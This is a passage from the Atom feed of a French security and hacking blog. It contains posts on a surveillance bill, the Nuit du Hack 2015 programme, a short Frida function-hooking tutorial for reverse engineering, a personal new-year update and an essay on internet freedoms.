&lt;p&gt;Malgré le fait que M. Le Premier Ministre qualifie les appels des citoyens aux députés et sénateurs de «pressions», il est encore possible de contacter ces derniers (les sénateurs) afin de leur faire entendre raison quant au projet de loi. Ce dernier doit repasser au Sénat pour un examen final, et il n'est pas encore trop tard pour ouvrir les yeux. Contactez donc les sénateurs, &lt;a class="reference external" href="https://wiki.laquadrature.net/Contactez_vos_senateurs"&gt;la Quadrature du Net fournit un outil pour cela&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Une saisine du Conseil Constitutionnel est &lt;em&gt;a priori&lt;/em&gt; en cours de la part des députés étant contre le projet de loi, ce qui devrait aboutir à un examen des articles controversés par les sages, et potentiellement la reconnaissance que certains d'entre eux sont contraires à la Constitution (si j'ai bien tout compris -- je ne suis pas juriste).&lt;/p&gt;
&lt;p&gt;Bref, il reste un espoir.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Le premier à me trouver la référence du titre gagne toute mon estime&lt;/em&gt;&lt;/p&gt;
</content><category term="Humeur"/><category term="confidentialité"/></entry><entry><title>NDH 2015 is coming !</title><link href="https://virtualabs.fr/geekeries/NDH-2015-is-coming" rel="alternate"/><published>2015-04-24T11:00:00+02:00</published><updated>2015-04-24T11:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2015-04-24:/geekeries/NDH-2015-is-coming</id><summary type="html">&lt;p&gt;La treizième édition de &lt;a class="reference external" href="https://nuitduhack.com/fr/"&gt;la Nuit du Hack&lt;/a&gt;, évènement annuel visant à réunir les passionnés de bidouilles en tout genre, c'est du 20 au 21 juin 2015 à l'Académie Fratellini.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tout frais et tout neuf&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Changement de lieu pour cet évènement en cette nouvelle année 2015, c'est désormais à l'Académie …&lt;/p&gt;</summary><content type="html">&lt;p&gt;La treizième édition de &lt;a class="reference external" href="https://nuitduhack.com/fr/"&gt;la Nuit du Hack&lt;/a&gt;, évènement annuel visant à réunir les passionnés de bidouilles en tout genre, c'est du 20 au 21 juin 2015 à l'Académie Fratellini.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tout frais et tout neuf&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Changement de lieu pour cet évènement en cette nouvelle année 2015, c'est désormais à l'Académie Fratellini que la NDH a posé ses valises. Après plusieurs années passées dans le gentil monde de Mickey, on retourne aux racines et aux endroits atypiques, car les talks se dérouleront dans un cirque aménagé pour l'occasion. Ceux qui ont participé à l'édition 2007 sauront de quoi je parle (cela s'était déroulé dans une ancienne grange).&lt;/p&gt;
&lt;p&gt;L'Académie Fratellini, ça ressemble juste à ça:&lt;/p&gt;
&lt;img alt="" src="/images/fratellini2.jpg" /&gt;
&lt;img alt="" src="/images/fratellin.jpg" /&gt;
&lt;img alt="" src="/images/fratellini3.jpg" /&gt;
&lt;p&gt;Outre le changement de lieu, il y a aussi du neuf côté programmation, avec dans le désordre:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;une zone réservée au hacking hardware, où se dérouleront des ateliers permettant par exemple de se créer sa propre station de soudage ou de confectionner un pendentif (wearable) très geek à base d'arduino,&lt;/li&gt;
&lt;li&gt;un nouveau challenge visant à  désamorcer un compte à  rebours, digne des meilleurs films hollywoodiens,&lt;/li&gt;
&lt;li&gt;des foodtrucks pour pouvoir se sustenter (ceci dit, personne ne vous empêche d'amener à boire et à manger),&lt;/li&gt;
&lt;li&gt;plein d'espace à l'extérieur permettant de buller, de geeker dans tous les sens du terme (Babozor, si jamais tu lis ces lignes, sache qu'un hack du calibre de celui du caddie manque à beaucoup d'entre nous),&lt;/li&gt;
&lt;li&gt;ainsi que d'autres surprises !&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Les premiers talks annoncés&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cette année encore, plusieurs conférenciers ont d'ores et déjà été annoncés, avec entre autres:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Karsten Nohl: «Mobile auto-defense»&lt;/li&gt;
&lt;li&gt;Guillaume Poupard: Keynote&lt;/li&gt;
&lt;li&gt;Santiago Pontirolli: «The TAO of .Net and Powershell Malware analysis»&lt;/li&gt;
&lt;li&gt;Axelle Apvrille: «Profiling criminel : le malware Android»&lt;/li&gt;
&lt;li&gt;Boris Simunovic: «Comment hacker un vieux jouet en robot marsien»&lt;/li&gt;
&lt;li&gt;Stéfan Le Berre: Talk surprise !&lt;/li&gt;
&lt;li&gt;Alexandre Triffaut: «L'impression 3D est une menace pour vos clés»&lt;/li&gt;
&lt;li&gt;Robert Simmons: «PlagueScanner: An Open Source Multiple AV Scanner Framework»&lt;/li&gt;
&lt;li&gt;Guillaume Lévrier: «Kindleberry, Internet of Things et administration publique : pouvez-vous créer un état en hackant ?»&lt;/li&gt;
&lt;li&gt;Votre serviteur: «Man in the (Android) Middleware»&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;C'est assez varié, et j'attends en particulier les talks de Karsten Nohl et de Stéfan Le Berre, habitués des talks intéressants et techniques. La keynote est assurée par Guillaume Poupard, de l'Agence Nationale pour la Sécurité des Systèmes d'Information (ANSSI).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Des challenges pour tous&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Les challenges habituels seront présents, à savoir:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;le CTF privé, organisé par Sysdream,&lt;/li&gt;
&lt;li&gt;le Wargame public, organisé par HZV,&lt;/li&gt;
&lt;li&gt;un challenge de lockpicking (crochetage de serrure),&lt;/li&gt;
&lt;li&gt;un challenge de désamorçage de compte à rebours.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Les deux premiers sont des concours à destination des afficionados de la sécurité informatique, dont seul le second est ouvert au public. Le wargame public est constitué de problèmes et casse-têtes informatiques qu'il faut résoudre le plus rapidement possible.&lt;/p&gt;
&lt;p&gt;Le challenge de lockpicking demande du doigté, de bons outils et de l'expérience: il s'agit de crocheter différents types de serrures dans un temps record, le tout supervisé par une équipe de crocheteurs expérimentés.&lt;/p&gt;
&lt;p&gt;Enfin, le petit nouveau de cette édition est le challenge de désamorçage, qui consiste à désamorcer un compte à rebours comme ceux que l'on voit dans de nombreux films, à l'aide d'outils relativement simples et cela dans un temps fixé par le mécanisme. Des notions d'électronique sont requises pour pouvoir s'y frotter, mais aussi de la logique et une bonne résistance au stress.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Workshops&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Encore une fois, de nombreux ateliers pratiques (ou &lt;em&gt;workshops&lt;/em&gt;) sont proposés:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Désassemblage et reverse-engineering avec Radare2 comme alternative à IDA &lt;em&gt;(Julien Voisin)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Constuire son propre Arduino par la &lt;em&gt;DTRE&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Réalisation de station de soudage régulée OpenSource compatible Weller par l'&lt;a class="reference external" href="http://www.electrolab.fr"&gt;Electrolab&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Initiation aux microcontroleurs: réalisation d'un pendentif geek animé à base de matrice de LED et d'Arduino wearable par &lt;em&gt;TixLeGeek, virtualabs, y0n0, olivier-network&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Atelier d'exploitation de systèmes industriels (ICS) avec Metasploit par &lt;em&gt;Guillaume PRIGENT &amp;amp; Johanne ULLOA&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Initiation à Tox, une plateforme acentrée permettant d'échanger et de communiquer de manière chiffrée par &lt;em&gt;Hakira&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Atelier puçage de consoles par &lt;em&gt;XavBox&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Il y en a pour tous les goûts, attention toutefois certains ateliers nécessitent une préinscription et dans certains cas une participation: c'est le cas par exemple de celui permettant de réaliser une station de soudage ou encore le pendentif geek animé.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Badge électronique&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A nouveau, un badge électronique collector conçu par l'Electrolab (encore un grand merci à vous les gars) est proposé sur lequel se trouve un challenge permettant de remporter une place à vie à la Nuit du Hack (Black Badge). Les ventes de ce badge électronique sont ouvertes jusqu'au 10 mai, et le nombre d'exemplaires est limité !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comment venir ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;C'est relativement simple: il suffit d'aller sur &lt;a class="reference external" href="https://nuitduhack.com/fr/store/"&gt;la boutique de l'évènement&lt;/a&gt; et de sélectionner un ou plusieurs tickets d'entrée ainsi que des goodies au besoin, et de régler par CB/Paypal/Bitcoin. Vous recevrez par courriel un QR code qu'il faudra imprimer et présenter sur place, un peu comme les billets électroniques de la SNCF quoi.&lt;/p&gt;
</content><category term="Geekeries"/><category term="nuit du hack"/><category term="event"/><category term="sécurité"/><category term="HZV"/></entry><entry><title>Frida, la nouvelle amie des reversers et hackers</title><link href="https://virtualabs.fr/secu/Frida-la-nouvelle-amie-des" rel="alternate"/><published>2015-03-06T08:00:00+01:00</published><updated>2015-03-06T08:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2015-03-06:/secu/Frida-la-nouvelle-amie-des</id><summary type="html">&lt;p&gt;Il y a peu de temps, j'ai découvert &lt;a class="reference external" href="http://www.frida.re"&gt;Frida&lt;/a&gt;, un outil permettant de faire de l'instrumentation minimaliste de binaire sous Windows, Linux, iOS et Android. Rien que cela. Moi qui suis habitué du reverse à l'ancienne et de l'attaque à coup d'injection de code via des DLLs, ça m'a de …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Il y a peu de temps, j'ai découvert &lt;a class="reference external" href="http://www.frida.re"&gt;Frida&lt;/a&gt;, un outil permettant de faire de l'instrumentation minimaliste de binaire sous Windows, Linux, iOS et Android. Rien que cela. Moi qui suis habitué du reverse à l'ancienne et de l'attaque à coup d'injection de code via des DLLs, ça m'a de suite intéressé.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tante Frida aime le JavaScript&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Frida repose sur l'injection d'un module dynamique dans un processus actif, et crée un canal de communication avec celui-ci. L'outil propose ensuite d'interagir en Python, à l'aide de bindings relativement bien conçus.&lt;/p&gt;
&lt;p&gt;Le point intéressant (mais toutefois limitant) est que l'on peut pratiquer le détournement de fonctions et l'appel de fonctions en scriptant cela en JavaScript. Car oui, le module injecté embarque un moteur JavaScript reconnu (v8, merci Google) qui sera utilisé dans le cadre du détournement ou de l'appel de fonctions. Tout ça à partir de Python.&lt;/p&gt;
&lt;p&gt;A ce moment là, j'ai posé un bémol sur cet outil. Employer JavaScript me posait un problème: le langage est très éloigné de l'assembleur, et je n'imaginais pas vraiment ce que l'on pouvait en tirer. J'ai poursuivi ma découverte de l'outil, et ai revu mon jugement.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hooking simple avec Frida&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le hooking de fonctions c'est galère. Il faut développer en C des fonctions d'interception, injecter un module s'occupant de mettre en place le détournement (en prenant en compte toutes les contraintes liées à cela), mais surtout trouver un moyen d'afficher des information. Par exemple à grand renfort d'appels à &lt;em&gt;MessageBoxA&lt;/em&gt; sous Windows.&lt;/p&gt;
&lt;p&gt;C'est là que Frida sauve la vie. L'outil propose très simplement de placer un hook sur une fonction, et de définir une fonction de rappel en JavaScript qui se verra passer les arguments et pourra les traiter. Cela se traduit par un simple code Python intégrant un peu de JavaScript:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;frida&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;

&lt;span class="n"&gt;process&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;frida&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;attach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;hello&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;script&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create_script&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="s2"&gt;Interceptor.attach(ptr(&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;), *&lt;/span&gt;
&lt;span class="s2"&gt;    onEnter: function(args) {&lt;/span&gt;
&lt;span class="s2"&gt;        send(args[0].toInt32());&lt;/span&gt;
&lt;span class="s2"&gt;    *&lt;/span&gt;
&lt;span class="s2"&gt;});&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;on_message&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;script&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;message&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;on_message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;script&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stdin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Du coup, ce qui était laborieux et pénible à développer est désormais beaucoup plus simple. Certes, on ne peut pas tout faire avec, mais on gagne un temps fou pour des choses relativement simples.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ImpRec en mode Frida&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lorsque je suis tombé sur cet outil, j'avais besoin de faire des bidouilles spécifiques avec des binaires, dont notamment de la reconstruction d'imports dans un PE. Là encore, Frida aide amplement. Tout d'abord, Frida permet de lister les modules actifs, et les fonctions exportées: pratique dans le cadre de la reconstruction d'imports. Ensuite, Frida permet d'accéder à la mémoire de manière relativement simple, et directement en Python.&lt;/p&gt;
&lt;p&gt;De là, on imagine facilement un code en Python permettant de dresser un dictionnaire des exports et des fonctions associées:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;exports_address&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;enumerate_modules&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;export&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;enumerate_exports&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="n"&gt;addr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;relative_address&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;base_address&lt;/span&gt;
        &lt;span class="n"&gt;export_address&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;export&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour la recherche d'une IAT par exemple, on peut aisément se baser sur la méthode &lt;em&gt;read_bytes&lt;/em&gt; de l'objet matérialisant le processus courant:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;struct&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;unpack&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;dword&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;unpack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;I&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x403000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;))[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;En bref&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Frida s'installe en deux temps trois mouvements, même sous Windows. Frida peut permettre le développement rapide d'outils liés au reverse-engineering voire à l'analyse dynamique de binaires ou à leur compromission. Frida se base sur du Python (&amp;quot;cool !&amp;quot;) et du JavaScript (&amp;quot;moins cool.&amp;quot;). Mais Frida est bougrement efficace.&lt;/p&gt;
&lt;p&gt;A ajouter dans la trousse à outil de tout hacker/reverser/bidouilleur de PE.&lt;/p&gt;
&lt;p&gt;(crédits image: www.frida.re + gimp)&lt;/p&gt;
</content><category term="Sécu"/><category term="unpacking"/><category term="sécurité"/></entry><entry><title>Bonne année 0x7df !</title><link href="https://virtualabs.fr/humeur/Bonne-annee-0x7df" rel="alternate"/><published>2015-02-05T08:00:00+01:00</published><updated>2015-02-05T08:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2015-02-05:/humeur/Bonne-annee-0x7df</id><summary type="html">&lt;p&gt;&lt;strong&gt;A peine l'année entamée que je suis déjà en retard pour l'annoncer. L'année 2015 démarre fort bien.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Janvier, l'heure du bilan de l'année passée. Et ce n'est pas glorieux. Entre OpenIt, le projet crowdfundé que j'avais lancé en 2013, qui n'a guère avancé grâce à de magnifiques fails,  et ma …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;A peine l'année entamée que je suis déjà en retard pour l'annoncer. L'année 2015 démarre fort bien.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Janvier, l'heure du bilan de l'année passée. Et ce n'est pas glorieux. Entre OpenIt, le projet crowdfundé que j'avais lancé en 2013, qui n'a guère avancé grâce à de magnifiques fails,  et ma vie personnelle qui a été un brin chamboulée, je n'ai pas eu tellement de temps pour souffler. Certains d'entre vous ont pu s'en rendre compte, vu que j'ai été quasimment en silence pendant six longs mois. L'heure du bilan, disais-je. Hopla.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Côté personnel&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je sais, vous vous en fichez comme de votre premier &lt;a class="reference external" href="http://groups.engin.umd.umich.edu/CIS/course.des/cis400/c/hworld.html"&gt;*helloworld*&lt;/a&gt; en C, mais ça a sa petite importance. En mai 2014, ma petite famille a déménagé car ma moitié commençait à sévèrement déprimer pour des raisons qui lui sont propres, et je ne me voyais pas tenir encore le reste de l'année dans ces conditions. Du coup cela a eu plusieurs impacts, positifs et négatifs.&lt;/p&gt;
&lt;p&gt;Du côté des impacts positifs, j'ai désormais un bureau au sous-sol, une pièce rien qu'à moi où j'ai commencé à entreposer tout mon bazar. Du coup, je m'organise un peu mieux et je peux geeker à tout va sans déranger personne. J'ai ainsi pu installer mon petit coin électronique (et reverse électronique bien sûr), et garder mon super bureau pour les bidouilles informatiques. La bonne nouvelle, c'est que je vais avoir suffisamment de place pour loger mon imprimante 3D, toujours en construction. La mauvaise, c'est que je dois trouver le temps de ranger tout ça (un problème récurrent).&lt;/p&gt;
&lt;p&gt;Côté impact négatifs, ça a rendu les derniers mois un peu impossibles: je me cogne désormais pas mal de trajet pour aller bosser (toujours sur Paris), et les mois de Septembre à Décembre ont été &lt;em&gt;rock and roll&lt;/em&gt;. Je crois que si je n'avais pas pris deux semaines de vacances entre Noël et le nouvel an, j'aurais fait un arrêt cardiaque. Ou un AVC. Spéciale dédicace à mon médecin qui s'inquiète de ma tension.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;OpenIt&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Alors forcément, OpenIt en a pris un coup. Je n'ai pas arrêté de travailler sur les projets relatifs à OpenIt, loin de là, mais j'ai du faire une pause entre novembre et décembre. Surtout après avoir loupé des prototypes de cartes d'interface à cause d'une mauvaise vérification due au manque de sommeil. Cela sera corrigé en 2015 (planifié pour début février).&lt;/p&gt;
&lt;p&gt;Et maintenant que je fais le point, je me rends compte aussi d'une chose: le crowdfunding tout seul, c'est du retard assuré. Je suis en retard sur:
*  les trois minitels à transformer en consoles de jeux
*  les journées à hacker avec de généreux ululeurs que je dois planifier
*  les autres récompenses que je dois distribuer&lt;/p&gt;
&lt;p&gt;Apparemment c'est le lot d'autres projets, mais ça me bouffe un peu quand même. Je suis déçu de pas réussir à tenir les délais que je m'étais imposé, et encore plus de faire traîner tout ça. Je me dis que des gens y croient (moi c'est toujours le cas), et que je vais devoir me défoncer pour au moins terminer tout ça. A noter que la carte d'interface du minitel vers le raspberry est conçue à 99% (reste à faire fabriquer et tester), et que les autres récompenses sont en standby dû à mon fail mentionné ci-avant. Reste les journées à planifier, ce que je compte faire ASAP (d'ailleurs si vous êtes concerné(e)s, n'hésitez pas à me mailer vos disponibilités).&lt;/p&gt;
&lt;p&gt;Bref, faut que je sois plus rigoureux et mieux organisé pour cette année. Et vu le moment où j'écris cela (lundi soir, 23h55), ça vous laisse deviner que je suis parti sur le bon pied.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mes bonnes résolutions&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;En vrac:
*  faire des points vidéos pour OpenIt de manière plus régulière,
*  communiquer un peu plus sur les coulisses, ce que je ne fais pas assez,
*  envoyer tout plein de trucs geeks aux gens qui le méritent,
*  relooker un peu le site,
*  me reposer un peu plus
*  rester focus sur 2/3 projets max (pas facile celle-là)&lt;/p&gt;
&lt;p&gt;Et j'espère que je ne tomberai pas à court d'idées cette année (ma hantise perpétuelle).&lt;/p&gt;
&lt;p&gt;Bref, que votre année soit geek/nerd, remplie de jolis hacks et de projets passionnants !&lt;/p&gt;
</content><category term="Humeur"/></entry><entry><title>Et nos libertés, c'est du pâté ?</title><link href="https://virtualabs.fr/humeur/Et-nos-libertes-c-est-du-pate" rel="alternate"/><published>2014-07-23T14:00:00+02:00</published><updated>2014-07-23T14:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2014-07-23:/humeur/Et-nos-libertes-c-est-du-pate</id><summary type="html">&lt;p&gt;Internet c'est mal, c'est peuplé de pédonazis et de terroristes, alors hein si ce n'est pas une bonne raison pour instaurer un permis Internet et vous surveiller, je ne vois pas ce que l'on peut faire de mieux. Quoi ? vos libertés ?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Il n'y a plus l'Internet, mais plusieurs Internet&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;C'est …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Internet c'est mal, c'est peuplé de pédonazis et de terroristes, alors hein si ce n'est pas une bonne raison pour instaurer un permis Internet et vous surveiller, je ne vois pas ce que l'on peut faire de mieux. Quoi ? vos libertés ?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Il n'y a plus l'Internet, mais plusieurs Internet&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;C'est un constat flagrant mais quelque peu désolant. Non, l'Internet originel n'est plus. Le fait qu'il ait évolué est une très bonne chose, car cela montre bien qu'il est devenu nécessaire, mais malheureusement nous n'avons à notre disposition qu'une version d'un Internet que l'on veut nous laisser accéder, que l'on accepte bien que l'on utilise. Il y a l'Internet de Facebook, dans lequel on reste ... sur Facebook, et l'Internet de Google, dans lequel on reste aussi chez Google et ses services associés. Il y a aussi l'Internet &amp;quot;civilisé&amp;quot;, où tout le monde poste des commentaires courtois sur des forums ou des billets de blog, et où l'on se salue gentiment. En bref, nous utilisons un Internet déjà restreint, limité, différent. Et si l'on souhaite passer outre, c'est de suite suspect.&lt;/p&gt;
&lt;p&gt;On peut aussi citer les projets de loi divers, aux Etats-Unis et même ici en France, &lt;a class="reference external" href="http://www.laquadrature.net/fr/projet-de-loi-terrorisme-encore-pire-a-la-commission-des-lois"&gt;visant à contourner la nécessité de contrôle par un juge pour donner toute puissance côté filtrage de sites à une autorité administrative&lt;/a&gt;, sous prétexte de lutte contre le terrorisme et en se moquant ouvertement de &lt;a class="reference external" href="http://www.mediapart.fr/journal/france/160714/le-cnnum-critique-le-blocage-des-sites-internet-propose-par-cazeneuve"&gt;ce que pense le CNNum&lt;/a&gt;. Car oui, c'est maintenant que 'lon brade une partie de nos libertés, mises dans les mains de ceux qui ne comprennent pas grand chose mais qui souhaitent faire avancer le schmilblick. Mieux vaut mal faire que ne rien faire, qu'ils disent.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;L'Internet, cette zone de non-droit&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;On nous rabâche assez souvent, et cela depuis plusieurs années et peu importe les gouvernements, qu'Internet est une zone de non-droit. En faisant mouche: l'insécurité sur Internet est flagrante, et d'autant plus mise en avant par les médias. Vols d'information banquaires, diffamation sur les réseaux sociaux, pédopornographie et trafic de drogue sont semble-t-il monnaie courante. Sans parler des vilains cyber-pirates qui s'en prennent aux Etats. Une zone de non-droit, que l'on vous dit. Mais non, il n'y a rien de plus faux.&lt;/p&gt;
&lt;p&gt;Internet n'est pas une zone de non-droit, car le droit s'y applique: de nombreuses affaires de piratage, de pédopornographie, de trafic de drogue sont amenées devant les tribunaux. Que ce soit Kim &amp;quot;DotCom&amp;quot; Schmidt, SilkRoad, les différentes affaires d'insultes et propos antisémites sur Twitter, ou encore Bluetouff et son &amp;quot;google hacking&amp;quot;. La justice fait son travail. Présenter l'Internet comme un endroit peuplé de vils méchants pirates et personnes mal-intentionnés, c'est tout simplement réduire l'Internet à son côté sombre.&lt;/p&gt;
